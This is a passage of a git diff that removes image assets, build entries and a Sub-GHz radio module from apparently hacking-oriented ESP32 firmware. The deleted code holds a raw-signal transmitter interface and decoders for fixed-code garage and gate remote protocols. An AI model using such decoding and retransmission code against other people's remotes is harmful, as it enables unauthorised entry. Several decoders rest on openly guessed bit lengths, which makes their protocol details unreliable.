a/firmware_c5/assets/frames/nfc_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/nfc_frame_2.png b/firmware_c5/assets/frames/nfc_frame_2.png deleted file mode 100644 index 6bccb7d6..00000000 Binary files a/firmware_c5/assets/frames/nfc_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/frames/radio_frame_0.png b/firmware_c5/assets/frames/radio_frame_0.png deleted file mode 100644 index 939eacdd..00000000 Binary files a/firmware_c5/assets/frames/radio_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/radio_frame_1.png b/firmware_c5/assets/frames/radio_frame_1.png deleted file mode 100644 index 3f7df21a..00000000 Binary files a/firmware_c5/assets/frames/radio_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/radio_frame_2.png b/firmware_c5/assets/frames/radio_frame_2.png deleted file mode 100644 index e5602b00..00000000 Binary files a/firmware_c5/assets/frames/radio_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/frames/wifi_frame_0.png b/firmware_c5/assets/frames/wifi_frame_0.png deleted file mode 100644 index 99fffd2f..00000000 Binary files a/firmware_c5/assets/frames/wifi_frame_0.png and /dev/null differ diff --git a/firmware_c5/assets/frames/wifi_frame_1.png b/firmware_c5/assets/frames/wifi_frame_1.png deleted file mode 100644 index e5c48051..00000000 Binary files a/firmware_c5/assets/frames/wifi_frame_1.png and /dev/null differ diff --git a/firmware_c5/assets/frames/wifi_frame_2.png b/firmware_c5/assets/frames/wifi_frame_2.png deleted file mode 100644 index 4a8ddba2..00000000 Binary files a/firmware_c5/assets/frames/wifi_frame_2.png and /dev/null differ diff --git a/firmware_c5/assets/icons/BATTERY_ICON.png b/firmware_c5/assets/icons/BATTERY_ICON.png deleted file mode 100644 index a45040ec..00000000 Binary files a/firmware_c5/assets/icons/BATTERY_ICON.png and /dev/null differ diff --git a/firmware_c5/assets/icons/BLE_ICON.png b/firmware_c5/assets/icons/BLE_ICON.png deleted file mode 100644 index 935ec761..00000000 Binary files a/firmware_c5/assets/icons/BLE_ICON.png and /dev/null differ diff --git a/firmware_c5/assets/icons/BLE_ICON_MENU.png b/firmware_c5/assets/icons/BLE_ICON_MENU.png deleted file mode 100644 index 2dcda067..00000000 Binary files a/firmware_c5/assets/icons/BLE_ICON_MENU.png and /dev/null differ diff --git a/firmware_c5/assets/icons/HEADPHONE_ICON.png b/firmware_c5/assets/icons/HEADPHONE_ICON.png deleted file mode 100644 index 4aedce85..00000000 Binary files a/firmware_c5/assets/icons/HEADPHONE_ICON.png and /dev/null differ diff --git a/firmware_c5/assets/icons/STORAGE_ICON.png b/firmware_c5/assets/icons/STORAGE_ICON.png deleted file mode 100644 index 0c8e4e5f..00000000 Binary files a/firmware_c5/assets/icons/STORAGE_ICON.png and /dev/null differ diff --git a/firmware_c5/assets/icons/WIFI_ICON_MENU.png b/firmware_c5/assets/icons/WIFI_ICON_MENU.png deleted file mode 100644 index 5843c718..00000000 Binary files a/firmware_c5/assets/icons/WIFI_ICON_MENU.png and /dev/null differ diff --git a/firmware_c5/assets/img/OCTOBIT.png b/firmware_c5/assets/img/OCTOBIT.png deleted file mode 100644 index da12a84d..00000000 Binary files a/firmware_c5/assets/img/OCTOBIT.png and /dev/null differ diff --git a/firmware_c5/assets/img/octobit_boot_1.png b/firmware_c5/assets/img/octobit_boot_1.png deleted file mode 100644 index fcfd703d..00000000 Binary files a/firmware_c5/assets/img/octobit_boot_1.png and /dev/null differ diff --git a/firmware_c5/assets/img/octobit_boot_2.png b/firmware_c5/assets/img/octobit_boot_2.png deleted file mode 100644 index 5863ff1c..00000000 Binary files a/firmware_c5/assets/img/octobit_boot_2.png and /dev/null differ diff --git a/firmware_c5/assets/label/HOME_MENU.png b/firmware_c5/assets/label/HOME_MENU.png deleted file mode 100644 index 4b6e5d97..00000000 Binary files a/firmware_c5/assets/label/HOME_MENU.png and /dev/null differ diff --git a/firmware_c5/components/Applications/CMakeLists.txt b/firmware_c5/components/Applications/CMakeLists.txt index 2758fdb1..93fde518 100644 --- a/firmware_c5/components/Applications/CMakeLists.txt +++ b/firmware_c5/components/Applications/CMakeLists.txt @@ -14,26 +14,19 @@ #APPLICATION -file(GLOB_RECURSE SUBGHZ_APP_SRCS "SubGhz/*.c") file(GLOB_RECURSE BLE_APP_SRCS "bluetooth/*.c") -file(GLOB_RECURSE BADUSB_APP_SRCS "bad_usb/*.c") file(GLOB_RECURSE ESPNOW_CHAT_APP_SRCS "espnow_chat/*.c") file(GLOB_RECURSE WIFI_APP_SRCS "wifi/*.c") idf_component_register(SRCS ${WIFI_APP_SRCS} ${ESPNOW_CHAT_APP_SRCS} - ${BADUSB_APP_SRCS} ${BLE_APP_SRCS} - ${SUBGHZ_APP_SRCS} INCLUDE_DIRS "wifi/include" "espnow_chat/include" - "bad_usb/include" "bluetooth/include" - "SubGhz/include" - "SubGhz/protocols/include" REQUIRES @@ -42,7 +35,6 @@ idf_component_register(SRCS Service esp_common esp_wifi - esp_tinyusb bt ) target_link_libraries(${COMPONENT_LIB} -Wl,-zmuldefs) diff --git a/firmware_c5/components/Applications/SubGhz/include/subghz_file_loader.h b/firmware_c5/components/Applications/SubGhz/include/subghz_file_loader.h deleted file mode 100644 index 2f81e56d..00000000 --- a/firmware_c5/components/Applications/SubGhz/include/subghz_file_loader.h +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef SUBGHZ_FILE_LOADER_H -#define SUBGHZ_FILE_LOADER_H - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Percorre um diretório procurando arquivos .sub e tenta identificar o protocolo - * - * @param dir_path Caminho do diretório (ex: "/assets/tmp") - */ -void subghz_loader_process_directory(const char* dir_path); - -#ifdef __cplusplus -} -#endif - -#endif // SUBGHZ_FILE_LOADER_H diff --git a/firmware_c5/components/Applications/SubGhz/include/subghz_receiver.h b/firmware_c5/components/Applications/SubGhz/include/subghz_receiver.h deleted file mode 100644 index 4a685404..00000000 --- a/firmware_c5/components/Applications/SubGhz/include/subghz_receiver.h +++ /dev/null @@ -1,44 +0,0 @@ -#ifndef SUBGHZ_RECEIVER_H -#define SUBGHZ_RECEIVER_H - -#include -#include -#include - -// Estrutura para representar um sinal RAW capturado -// Basicamente uma lista de durações (em microsegundos) -// Valores positivos = High (Pulse), Negativos = Low (Gap/Space) -typedef struct { - int32_t *items; - size_t count; -} subghz_raw_signal_t; - -typedef enum { - SUBGHZ_MODE_SCAN, // Tenta decodificar protocolos conhecidos - SUBGHZ_MODE_RAW // Exibe apenas o sinal bruto (Sniffer/Analyser) -} subghz_mode_t; - -typedef enum { - SUBGHZ_MODULATION_ASK, // Amplitude Shift Keying (OOK) - Padrão - SUBGHZ_MODULATION_FSK // Frequency Shift Keying (Intelbras, etc) -} subghz_modulation_t; - -/** - * @brief Inicia a Task de Recepção e Configura o Hardware (CC1101 + RMT) - * @param mode Define se o receptor vai decodificar (SCAN) ou apenas mostrar RAW. - * @param mod Modulação (ASK ou FSK). - * @param freq Frequência em Hz (ex: 433920000). - */ -void subghz_receiver_start(subghz_mode_t mode, subghz_modulation_t mod, uint32_t freq); - -/** - * @brief Para a Task e libera o Hardware - */ -void subghz_receiver_stop(void); - -/** - * @brief Verifica se o receptor está ativo - */ -bool subghz_receiver_is_running(void); - -#endif // SUBGHZ_RECEIVER_H diff --git a/firmware_c5/components/Applications/SubGhz/include/subghz_spectrum.h b/firmware_c5/components/Applications/SubGhz/include/subghz_spectrum.h deleted file mode 100644 index bb12306a..00000000 --- a/firmware_c5/components/Applications/SubGhz/include/subghz_spectrum.h +++ /dev/null @@ -1,11 +0,0 @@ -#ifndef SUBGHZ_SPECTRUM_H -#define SUBGHZ_SPECTRUM_H - -#define SPECTRUM_SAMPLES 80 -extern float spectrum_data[SPECTRUM_SAMPLES]; - -void subghz_spectrum_start(void); -void subghz_spectrum_stop(void); - -#endif // SUBGHZ_SPECTRUM_H - diff --git a/firmware_c5/components/Applications/SubGhz/include/subghz_transmitter.h b/firmware_c5/components/Applications/SubGhz/include/subghz_transmitter.h deleted file mode 100644 index dfad221e..00000000 --- a/firmware_c5/components/Applications/SubGhz/include/subghz_transmitter.h +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#ifndef SUBGHZ_TRANSMITTER_H -#define SUBGHZ_TRANSMITTER_H - -#include -#include - -void subghz_tx_init(void); -void subghz_tx_stop(void); -void subghz_tx_send_raw(const int32_t *timings, size_t count); - -#endif // SUBGHZ_TRANSMITTER_H diff --git a/firmware_c5/components/Applications/SubGhz/protocols/include/subghz_protocol_defs.h b/firmware_c5/components/Applications/SubGhz/protocols/include/subghz_protocol_defs.h deleted file mode 100644 index c7c8b9cf..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/include/subghz_protocol_defs.h +++ /dev/null @@ -1,36 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -#ifndef SUBGHZ_PROTOCOL_DEFS_H -#define SUBGHZ_PROTOCOL_DEFS_H - -#include -#include -#include - -// Estrutura genérica para dados decodificados -typedef struct { - const char* protocol_name; - uint32_t serial; - uint8_t btn; - uint8_t bit_count; - uint32_t raw_value; // Valor bruto se couber em 32/64 bits -} subghz_data_t; - -// Interface do Protocolo -typedef struct { - const char* name; - - // Tenta decodificar o sinal RAW. Retorna true se sucesso. - // raw_data: array de durações (positivos=high, negativos=low) - // count: numero de itens no array - // out_data: ponteiro para estrutura onde salvar o resultado - bool (*decode)(const int32_t* raw_data, size_t count, subghz_data_t* out_data); - - // Codifica dados para RAW (para transmissão) - // in_data: dados para enviar - // out_raw: ponteiro para array int32_t (alocado internamente, caller deve dar free) - // out_count: tamanho do array gerado - void (*encode)(const subghz_data_t* in_data, int32_t** out_raw, size_t* out_count); - -} subghz_protocol_t; - -#endif // SUBGHZ_PROTOCOL_DEFS_H diff --git a/firmware_c5/components/Applications/SubGhz/protocols/include/subghz_protocol_registry.h b/firmware_c5/components/Applications/SubGhz/protocols/include/subghz_protocol_registry.h deleted file mode 100644 index 63adb9da..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/include/subghz_protocol_registry.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef SUBGHZ_PROTOCOL_REGISTRY_H -#define SUBGHZ_PROTOCOL_REGISTRY_H - -#include "subghz_protocol_defs.h" - -// Tenta decodificar usando todos os protocolos conhecidos -bool subghz_process_raw(const int32_t* raw_data, size_t count, subghz_data_t* out_result); - -#endif diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_ansonic.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_ansonic.c deleted file mode 100644 index a59c6da4..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_ansonic.c +++ /dev/null @@ -1,72 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define ANSONIC_SHORT 555 -#define ANSONIC_LONG 1111 -#define ANSONIC_TOL 200 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - ANSONIC_TOL) && (val <= target + ANSONIC_TOL); -} - -static bool protocol_ansonic_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 20) return false; - - uint32_t decoded_data = 0; - int bits_found = 0; - - // Bruce: '0' = {-1111, 555} (Gap, Pulse) ou (Pulse, Gap)? - // Se o código C++ diz {-GAP, PULSE}, e nosso receiver é PULSE, GAP... - // Vamos assumir que o Bruce define Gap, Pulse. - // Mas protocolos PWM geralmente são Pulse, Gap. - // Vamos tentar a lógica PWM padrão: Short/Long. - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; - int32_t gap = raw_data[i+1]; - - if (pulse < 0) { if (i==0){i--; continue;} return false; } - - int bit = -1; - - // Bit 0: Pulse 555, Gap 1111 (Short, Long) - if (is_within(pulse, ANSONIC_SHORT) && is_within(gap, ANSONIC_LONG)) { - bit = 0; - } - // Bit 1: Pulse 1111, Gap 555 (Long, Short) - else if (is_within(pulse, ANSONIC_LONG) && is_within(gap, ANSONIC_SHORT)) { - bit = 1; - } - else { - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - // Ansonic costuma ter 12 bits ou mais? Vamos aceitar >10 - if (bits_found >= 10 && bits_found <= 16) { - // Guarda resultado parcial, se o proximo falhar, validamos esse - // Simplificação: valida com 12 bits - if (bits_found == 12) { - out_data->protocol_name = "Ansonic"; - out_data->bit_count = bits_found; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data; - return true; - } - } - } - } - return false; -} - -subghz_protocol_t protocol_ansonic = { - .name = "Ansonic", - .decode = protocol_ansonic_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_came.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_came.c deleted file mode 100644 index d6cd81f6..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_came.c +++ /dev/null @@ -1,85 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define CAME_SHORT 320 -#define CAME_LONG 640 -#define CAME_TOL 150 // Tolerância - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; // Aceita magnitude - return (val >= target - CAME_TOL) && (val <= target + CAME_TOL); -} - -static bool protocol_came_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 24) return false; // CAME 12 bits precisa de 24 transições (12 pares High/Low) - - uint32_t decoded_data = 0; - int bits_found = 0; - - // CAME geralmente começa com um Pilot bit (gap longo) e depois Start bit. - // Vamos varrer procurando uma sequência válida de bits. - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; // Deveria ser High - int32_t gap = raw_data[i+1]; // Deveria ser Low - - // Verifica polaridade (opcional se o sinal estiver muito ruidoso, mas idealmente P=+, G=-) - if (pulse < 0) { - // Se começou com negativo, talvez estejamos desalinhados. Tenta pular 1. - if (i == 0) { i--; continue; } - return false; - } - - int bit = -1; - - // Bit 0: Short Pulse, Long Gap - if (is_within(pulse, CAME_SHORT) && is_within(gap, CAME_LONG)) { - bit = 0; - } - // Bit 1: Long Pulse, Short Gap - else if (is_within(pulse, CAME_LONG) && is_within(gap, CAME_SHORT)) { - bit = 1; - } - // Start/Pilot detection could be here - else { - // Se falhou, reseta - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - // CAME-12 (12 bits) ou CAME-24 (24 bits) - if (bits_found == 12) { - out_data->protocol_name = "CAME 12bit"; - out_data->bit_count = 12; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data; - out_data->btn = 0; // CAME não separa botão fixo, varia - return true; - } - if (bits_found == 24) { - out_data->protocol_name = "CAME 24bit"; - out_data->bit_count = 24; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data; - return true; - } - } - } - - return false; -} - -static void protocol_came_encode(const subghz_data_t* in_data, int32_t** out_raw, size_t* out_count) { - // Implementar Encoder Futuramente -} - -subghz_protocol_t protocol_came = { - .name = "CAME", - .decode = protocol_came_decode, - .encode = protocol_came_encode -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_chamberlain.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_chamberlain.c deleted file mode 100644 index 27281451..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_chamberlain.c +++ /dev/null @@ -1,67 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define CHAM_SHORT 430 -#define CHAM_LONG 870 -#define CHAM_TOL 200 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - CHAM_TOL) && (val <= target + CHAM_TOL); -} - -static bool protocol_chamberlain_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 16) return false; - - uint32_t decoded_data = 0; - int bits_found = 0; - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; - int32_t gap = raw_data[i+1]; - - if (pulse < 0) { if(i==0){i--; continue;} return false; } - - int bit = -1; - - // Bit 0: Short Pulse, Long Gap - if (is_within(pulse, CHAM_SHORT) && is_within(gap, CHAM_LONG)) { - bit = 0; - } - // Bit 1: Long Pulse, Short Gap - else if (is_within(pulse, CHAM_LONG) && is_within(gap, CHAM_SHORT)) { - bit = 1; - } - else { - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - // Chamberlain costuma ter 9 ou 8 bits? - // Security+ 1.0 é diferente. Vamos assumir genérico ~9-12 bits - if (bits_found >= 8 && bits_found <= 12) { - // Check if next is sync/stop? - // Simplification: Return true for now - if (bits_found == 9) { // Common length - out_data->protocol_name = "Chamberlain"; - out_data->bit_count = bits_found; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data; - return true; - } - } - } - } - return false; -} - -subghz_protocol_t protocol_chamberlain = { - .name = "Chamberlain", - .decode = protocol_chamberlain_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_holtek.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_holtek.c deleted file mode 100644 index 79a8faea..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_holtek.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define HOLTEK_SHORT 430 -#define HOLTEK_LONG 870 -#define HOLTEK_TOL 150 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - HOLTEK_TOL) && (val <= target + HOLTEK_TOL); -} - -static bool protocol_holtek_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 24) return false; // 12 bits = 24 transitions - - uint32_t decoded_data = 0; - int bits_found = 0; - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; - int32_t gap = raw_data[i+1]; - - if (pulse < 0) { if(i==0){i--; continue;} return false; } - - int bit = -1; - - if (is_within(pulse, HOLTEK_SHORT) && is_within(gap, HOLTEK_LONG)) { - bit = 0; - } else if (is_within(pulse, HOLTEK_LONG) && is_within(gap, HOLTEK_SHORT)) { - bit = 1; - } else { - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - if (bits_found == 12) { // HT12E standard - out_data->protocol_name = "Holtek"; - out_data->bit_count = 12; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data >> 4; // 8 addr + 4 data - out_data->btn = decoded_data & 0x0F; - return true; - } - } - } - return false; -} - -subghz_protocol_t protocol_holtek = { - .name = "Holtek", - .decode = protocol_holtek_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_liftmaster.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_liftmaster.c deleted file mode 100644 index a3856b3d..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_liftmaster.c +++ /dev/null @@ -1,60 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define LIFT_SHORT 400 -#define LIFT_LONG 800 -#define LIFT_TOL 200 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - LIFT_TOL) && (val <= target + LIFT_TOL); -} - -static bool protocol_liftmaster_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 20) return false; - - uint32_t decoded_data = 0; - int bits_found = 0; - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; - int32_t gap = raw_data[i+1]; - - if (pulse < 0) { if(i==0){i--; continue;} return false; } - - int bit = -1; - - if (is_within(pulse, LIFT_SHORT) && is_within(gap, LIFT_LONG)) { - bit = 0; - } else if (is_within(pulse, LIFT_LONG) && is_within(gap, LIFT_SHORT)) { - bit = 1; - } else { - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - if (bits_found > 10) { - // Liftmaster detected - if (bits_found == 12) { // Example - out_data->protocol_name = "Liftmaster"; - out_data->bit_count = bits_found; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data; - return true; - } - } - } - } - return false; -} - -subghz_protocol_t protocol_liftmaster = { - .name = "Liftmaster", - .decode = protocol_liftmaster_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_linear.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_linear.c deleted file mode 100644 index d49e5e87..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_linear.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define LINEAR_SHORT 500 -#define LINEAR_LONG 1500 -#define LINEAR_TOL 250 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - LINEAR_TOL) && (val <= target + LINEAR_TOL); -} - -static bool protocol_linear_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 10) return false; - - uint32_t decoded_data = 0; - int bits_found = 0; - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; - int32_t gap = raw_data[i+1]; - - if (pulse < 0) { if(i==0){i--; continue;} return false; } - - int bit = -1; - - // Bit 0: Short, Long - if (is_within(pulse, LINEAR_SHORT) && is_within(gap, LINEAR_LONG)) { - bit = 0; - } - // Bit 1: Long, Short - else if (is_within(pulse, LINEAR_LONG) && is_within(gap, LINEAR_SHORT)) { - bit = 1; - } - else { - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - // Linear MegaCode often 10+ bits or fixed length? - // Assuming 10 for now based on common openers - if (bits_found >= 10) { // Just valid stream detection - if (bits_found == 10) { // Try to catch small packets - out_data->protocol_name = "Linear"; - out_data->bit_count = bits_found; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data; - return true; - } - } - } - } - return false; -} - -subghz_protocol_t protocol_linear = { - .name = "Linear", - .decode = protocol_linear_decode, - .encode = NULL -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_nice_flo.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_nice_flo.c deleted file mode 100644 index ed549915..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_nice_flo.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "subghz_protocol_defs.h" -#include - -#define NICE_SHORT 700 -#define NICE_LONG 1400 -#define NICE_TOL 250 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - NICE_TOL) && (val <= target + NICE_TOL); -} - -static bool protocol_nice_flo_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 24) return false; - - uint32_t decoded_data = 0; - int bits_found = 0; - - for (size_t i = 0; i < count - 1; i += 2) { - int32_t pulse = raw_data[i]; - int32_t gap = raw_data[i+1]; - - // Sincronia inicial (se necessário) - // Nice Flo muitas vezes começa direto - - if (pulse < 0) { if (i==0) {i--; continue;} return false; } - - int bit = -1; - - // Bit 0: Short Pulse, Long Gap (Duty 1/3) - if (is_within(pulse, NICE_SHORT) && is_within(gap, NICE_LONG)) { - bit = 0; - } - // Bit 1: Long Pulse, Short Gap (Duty 2/3) - else if (is_within(pulse, NICE_LONG) && is_within(gap, NICE_SHORT)) { - bit = 1; - } - else { - decoded_data = 0; - bits_found = 0; - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - if (bits_found == 12) { - out_data->protocol_name = "Nice Flo 12bit"; - out_data->bit_count = 12; - out_data->raw_value = decoded_data; - // Nice Flo: 9 bits DIP switch + 2 bits btn? Ou 10+2? - // Estrutura comum: 10 switches + 2 buttons - out_data->serial = decoded_data >> 2; - out_data->btn = decoded_data & 0x03; - return true; - } - } - } - - return false; -} - -subghz_protocol_t protocol_nice_flo = { - .name = "Nice Flo", - .decode = protocol_nice_flo_decode, - .encode = NULL // TODO -}; diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_princeton.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_princeton.c deleted file mode 100644 index 26125453..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_princeton.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "subghz_protocol_defs.h" -#include -#include - -#define PRINCETON_SHORT 350 -#define PRINCETON_LONG 1050 -#define PRINCETON_SYNC 10000 -#define TOLERANCE 250 - -static bool is_within(int32_t val, int32_t target) { - if (val < 0) val = -val; - return (val >= target - TOLERANCE) && (val <= target + TOLERANCE); -} - -static bool protocol_princeton_decode(const int32_t* raw_data, size_t count, subghz_data_t* out_data) { - if (count < 24) return false; - - uint32_t decoded_data = 0; - int bits_found = 0; - - // Princeton envia cada bit lógico como DOIS ciclos de pulso/pausa. - // Bit 0: (S, L), (S, L) - // Bit 1: (L, S), (L, S) - // Bit F: (S, L), (L, S) - // S=Short(~350), L=Long(~1050) - - // Avança de 4 em 4 (2 ciclos = 4 transições: P G P G) - for (size_t i = 0; i < count - 3; i += 4) { - int32_t p1 = raw_data[i]; - int32_t g1 = raw_data[i+1]; - int32_t p2 = raw_data[i+2]; - int32_t g2 = raw_data[i+3]; - - // Validar magnitudes - if (p1 < 0) { if (i==0){i--; continue;} return false; } // Sincronia - if (g1 > 0) g1 = -g1; - if (g2 > 0) g2 = -g2; - g1 = abs(g1); - g2 = abs(g2); - - int bit = -1; - - bool p1_s = is_within(p1, PRINCETON_SHORT); - bool p1_l = is_within(p1, PRINCETON_LONG); - bool g1_s = is_within(g1, PRINCETON_SHORT); - bool g1_l = is_within(g1, PRINCETON_LONG); - - bool p2_s = is_within(p2, PRINCETON_SHORT); - bool p2_l = is_within(p2, PRINCETON_LONG); - bool g2_s = is_within(g2, PRINCETON_SHORT); - bool g2_l = is_within(g2, PRINCETON_LONG); - - // Bit 0: SL SL - if (p1_s && g1_l && p2_s && g2_l) { - bit = 0; - } - // Bit 1: LS LS - else if (p1_l && g1_s && p2_l && g2_s) { - bit = 1; - } - // Bit F: SL LS - else if (p1_s && g1_l && p2_l && g2_s) { - bit = 0; // Tratando Floating como 0 para simplificar, ou lógica separada - } - else { - // Se falhar a correspondencia estrita, não é Princeton - decoded_data = 0; - bits_found = 0; - - // Se achar sync, pode reiniciar - if (g2 > PRINCETON_SYNC) { - // i vai incrementar +4, proximo loop começa novo - continue; - } - continue; - } - - if (bit != -1) { - decoded_data = (decoded_data << 1) | bit; - bits_found++; - - if (bits_found >= 12) { - // Check if result is valid (not 0x000) - if (decoded_data == 0) { - // Princeton valido dificilmente é tudo 0. - // Isso ajuda a filtrar Rossi (que pode gerar pulsos curtos parecidos) - // Mas se o controle for realmente 0x0... (Raro) - // Vamos continuar buscando. - } else { - out_data->protocol_name = "Princeton"; - out_data->bit_count = bits_found; - out_data->raw_value = decoded_data; - out_data->serial = decoded_data >> 4; - out_data->btn = decoded_data & 0x0F; - return true; - } - } - } - } - - return false; -} - -static void protocol_princeton_encode(const subghz_data_t* in_data, int32_t** out_raw, size_t* out_count) { -} - -subghz_protocol_t protocol_princeton = { - .name = "Princeton", - .decode = protocol_princeton_decode, - .encode = protocol_princeton_encode -}; \ No newline at end of file diff --git a/firmware_c5/components/Applications/SubGhz/protocols/protocol_rcswitch.c b/firmware_c5/components/Applications/SubGhz/protocols/protocol_rcswitch.c deleted file mode 100644 index 6b91de2c..00000000 --- a/firmware_c5/components/Applications/SubGhz/protocols/protocol_rcswitch.c +++ /dev/null @@ -1,136 +0,0 @@ -#include "subghz_protocol_defs.h" -#include -#include -#include - -// Definição dos protocolos RCSwitch -typedef struct { - uint16_t pulse_len; - struct { uint8_t high; uint8_t low; } sync; - struct { uint8_t high; uint8_t low; } zero; - struct { uint8_t high; uint8_t low; } one; - bool inverted; -} rcswitch_proto_t; - -static const rcswitch_proto_t rc_protos[] = { - { 350, { 1, 31 }, { 1, 3 }, { 3, 1 }, false }, // protocol 1 (Princeton/PT2262) - { 650, { 1, 10 }, { 1, 2 }, { 2, 1 }, false }, // protocol 2 - { 100, { 30, 71 }, { 4, 11 }, { 9, 6 }, false }, // protocol 3 - { 380, { 1, 6 }, { 1, 3 }, { 3, 1 }, false }, // protocol 4 - { 500, { 6, 14 }, { 1, 2 }, { 2, 1 }, false }, // protocol 5 - { 450, { 23, 1 }, { 1, 2 }, { 2, 1 }, true }, // protocol 6 (HT6P20B) - { 150, { 2, 62 }, { 1, 6 }, { 6, 1 }, false }, // protocol 7 - { 200, { 3, 130}, { 7, 16 }, { 3, 16}, false}, // protocol 8 - { 200, { 130, 7 }, { 16, 7 }, { 16, 3 }, true}, // protocol 9 - { 365, { 18, 1 }, { 3, 1 }, { 1, 3 }, true }, // protocol 10 - { 270, { 36, 1 }, { 1, 2 }, { 2, 1 }, true }, // protocol 11 - { 320, { 36, 1 }, { 1, 2 }, { 2, 1 }, true } // protocol 12 -}; - -#define RC_PROTO_COUNT (sizeof(rc_protos)/sizeof(rcswitch_proto_t)) -#define TOLERANCE 60 // % tolerance (RCSwitch uses 60) - -static bool check_pulse(int32_t raw_len, uint16_t base_len, uint8_t multiplier) { - if (raw_len < 0) raw_len = -raw_len; - int32_t target = base_len * multiplier; - int32_t tol = target * TOLERANCE / 100; - return 